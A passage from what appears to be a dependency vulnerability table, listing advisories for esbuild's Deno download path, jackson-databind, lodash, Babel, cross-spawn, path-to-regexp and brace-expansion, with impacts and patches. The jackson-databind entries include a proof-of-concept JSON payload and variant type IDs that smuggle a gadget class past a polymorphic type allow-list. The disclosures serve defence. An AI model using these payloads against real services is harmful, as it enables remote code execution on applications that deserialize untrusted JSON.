artifact repositories - **Shared development environments** where environment variables may be inherited from parent processes - **Corporate networks** where npm registry mirrors are configured via this environment variable The attacker does not need to compromise the npm registry itself — only the environment variable or network path between the Deno process and the registry. ### Suggested remediation 1. **Add SHA-256 integrity verification to the Deno module**, mirroring the existing `binaryIntegrityCheck()` function from `lib/npm/node-install.ts`: ```typescript // In lib/deno/mod.ts, after extracting the binary: const hashBuffer = await crypto.subtle.digest("SHA-256", executable); const hash = Array.from(new Uint8Array(hashBuffer)).map(b => b.toString(16).padStart(2, '0')).join(''); const key = `${name}/${subpath}`; const expected = EXPECTED_HASHES[key]; // Import from a shared hash manifest if (hash !== expected) throw new Error(`Binary integrity check failed for "${key}"`); ``` 2. **Validate the `NPM_CONFIG_REGISTRY` URL** to ensure it uses HTTPS (or at minimum warn about HTTP): ```typescript const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org"; if (npmRegistry.startsWith("http://")) { console.warn(`[esbuild] Warning: NPM_CONFIG_REGISTRY uses insecure HTTP`); } ``` 3. **Add `ESBUILD_BINARY_PATH` validation** in the Deno module, mirroring the `isValidBinaryPath()` check from `lib/npm/node-platform.ts`. **Regression test suggestion:** Add a test that verifies the Deno download path rejects a binary with a mismatched SHA-256 hash. | |
| 8.1CVSS 3.1 | GHSA-j3rv-43j4-c7qm
CVE-2026-54512 |
Resolved | 2026-06-23 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | `jackson-databind`'s `PolymorphicTypeValidator` (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains `<`), `DatabindContext._resolveAndValidateGeneric()` validates **only the raw container class name** (the substring before `<`) against the configured PTV. If the container type is approved, the method parses the full canonical type string via `TypeFactory.constructFromCanonical()` and returns the fully parameterized type **without ever validating the nested type arguments** against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization. An attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example `java.util.ArrayList<com.evil.Gadget>` when only `java.util.ArrayList` is allow-listed. The container passes the PTV check; `com.evil.Gadget` is loaded via `Class.forName(name, true, loader)`, instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list. This is the same vulnerability class responsible for the historical sequence of jackson-databind deserialization CVEs; here it manifests as a validator bypass rather than a missing deny-list entry. ## Impact - **Bypass of the PTV allow-list**, including the recommended `BasicPolymorphicTypeValidator` configured with name-prefix allow rules. - **Arbitrary class instantiation** of any type assignable to the container's element/parameter position, with attacker-controlled property values (setter/field injection). - **Potential unauthenticated remote code execution** when a class with exploitable side effects (JNDI lookup, JDBC/connection-pool gadgets,`TemplatesImpl`-style loaders, etc.) is present on the classpath. Applications that accept untrusted JSON and rely on a configured PTV — the documented, security-conscious configuration — are affected. ## Proof of Concept Configuration restricting polymorphic deserialization to a single safe container: ```java BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder() .allowIfSubType("java.util.ArrayList") .build(); ObjectMapper mapper = JsonMapper.builder() .polymorphicTypeValidator(ptv) .build(); ``` Malicious payload (`Wrapper.value` is `Object` with `@JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)`): ```json {"value":["java.util.ArrayList<com.evil.EvilGadget>",[{"cmd":"calc.exe"}]]} ``` On vulnerable versions, `com.evil.EvilGadget` is instantiated and its `cmd` property is set, despite only `java.util.ArrayList` being allow-listed. On `2.18.8` / `2.21.4` / `3.1.4` the deserialization throws `InvalidTypeIdException` before instantiation. **Variant payloads** (all bypass an `ArrayList`/`HashMap` allow-list): | Type ID | Smuggled type position | |---|---| | `java.util.ArrayList<Evil>` | list element | | `java.util.HashMap<Evil,String>` | map key | | `java.util.HashMap<String,Evil>` | map value | | `java.util.ArrayList<java.util.ArrayList<Evil>>` | nested element | | `java.util.ArrayList<Evil[]>` | array element | --- ## Patches Fixed in **2.18.8**, **2.21.4** and **3.1.4** via the changes for [FasterXML/jackson-databind#5988](https://github.com/FasterXML/jackson-databind/issues/5988), commit `434d6c511`. The fix adds recursive validation of each non-trivial type parameter (and array element types appearing as parameters) through the full PTV chain, with documented exemptions for `Object` (wildcard resolution) and `Enum` types. `PolymorphicTypeValidator` was added in 2.10.0 so vulnerability N/A for versions prior to that. | |
| 8.1CVSS 3.1 | GHSA-r5fr-rjxr-66jc | In triage | 2026-04-01 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Impact The fix for [CVE-2021-23337](https://github.com/advisories/GHSA-35jh-r3h4-6jhm) added validation for the `variable` option in `_.template` but did not apply the same validation to `options.imports` key names. Both paths flow into the same `Function()` constructor sink. When an application passes untrusted input as `options.imports` key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time. Additionally, `_.template` uses `assignInWith` to merge imports, which enumerates inherited properties via `for..in`. If `Object.prototype` has been polluted by any other vector, the polluted keys are copied into the imports object and passed to `Function()`. ### Patches Users should upgrade to version 4.18.0. The fix applies two changes: 1. Validate `importsKeys` against the existing `reForbiddenIdentifierChars` regex (same check already used for the `variable` option) 2. Replace `assignInWith` with `assignWith` when merging imports, so only own properties are enumerated ### Workarounds Do not pass untrusted input as key names in `options.imports`. Only use developer-controlled, static key names. | |
| 8.1CVSS 3.1 | GHSA-rmj7-2vxq-3g9f
CVE-2026-54513 |
Resolved | 2026-06-23 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | ## Summary `BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray()` allowlists any array type based only on `clazz.isArray()`, without validating the array's component (element) type against the configured allowlist. A PTV built with `allowIfSubTypeIsArray()` plus an explicit concrete-type allowlist therefore still permits `EvilType[]` even though `EvilType` is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist. ## Impact Applications using `BasicPolymorphicTypeValidator` with `allowIfSubTypeIsArray()` as a safeguard get no protection for concrete array component types; an attacker controlling JSON can instantiate non-allowlisted types via an array wrapper, re-opening the gadget-instantiation risk PTV is meant to prevent. ## Affected / Patched (verified via `git tag --contains`) - 2.18 line: `>= 2.10.0, < 2.18.8` -> fixed in **2.18.8** - 2.19-2.21 line: `>= 2.19.0, < 2.21.4` -> fixed in **2.21.4** - 3.x line: `>= 3.0.0, < 3.1.4` -> fixed in **3.1.4** `PolymorphicTypeValidator` was added in 2.10.0 so vulnerability N/A for versions prior to that. ## Severity / CWE Maintainer: significant. Reporter: HIGH. CWE-184 (Incomplete List of Disallowed Inputs); related CWE-502. ## Upstream fix FasterXML/jackson-databind#5981; fix PR #5983 (`24529da`), 2.18 backport PR #5984 (`01d1692`). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4. ## Credits Omkhar Arasaratnam (@omkhar) - finder. | |
| 7.8CVSS 3.1 | CVE-2026-44728
GHSA-fv7c-fp4j-7gwp |
Resolved | 2026-05-26 | 5.6 ×95.5 ×205.4 ×14 | Babel is a compiler for writing next generation JavaScript. From 7.12.0 to before 7.29.4 and 8.0.0-alpha.13, using Babel to compile code that was specifically crafted by an attacker can cause Babel to generate output code that executes arbitrary code. This vulnerability is fixed in 7.29.4 and 8.0.0-alpha.13. | |
| 7.7CVSS 4.0 | CVE-2024-21538
GHSA-3xgq-45jj-v275 |
Not affected | 2024-11-08 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | Versions of the package cross-spawn before 6.0.6, from 7.0.0 and before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string. | |
| 7.7CVSS 4.0 | CVE-2024-52798
GHSA-rhx6-c78j-4q9w |
Resolved | 2024-12-05 | 5.6 ×95.5 ×205.4 ×14 | path-to-regexp turns path strings into a regular expressions. In certain cases, path-to-regexp will output a regular expression that can be exploited to cause poor performance. The regular expression that is vulnerable to backtracking can be generated in the 0.1.x release of path-to-regexp. Upgrade to 0.1.12. This vulnerability exists because of an incomplete fix for CVE-2024-45296. | |
| 7.7CVSS 4.0 | CVE-2026-13149
GHSA-3jxr-9vmj-r5cp |
Not affected | 2026-06-30 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | brace-expansion through 5.0.6 is vulnerable to denial of service. The expand() function exhibits exponential-time complexity in the number of consecutive non-expanding '{}' brace groups. An attacker who passes a crafted string to expand(), directly or transitively, can cause significant CPU consumption and event-loop blocking. The max option does not mitigate this, as it bounds the output size rather than the recursion work. |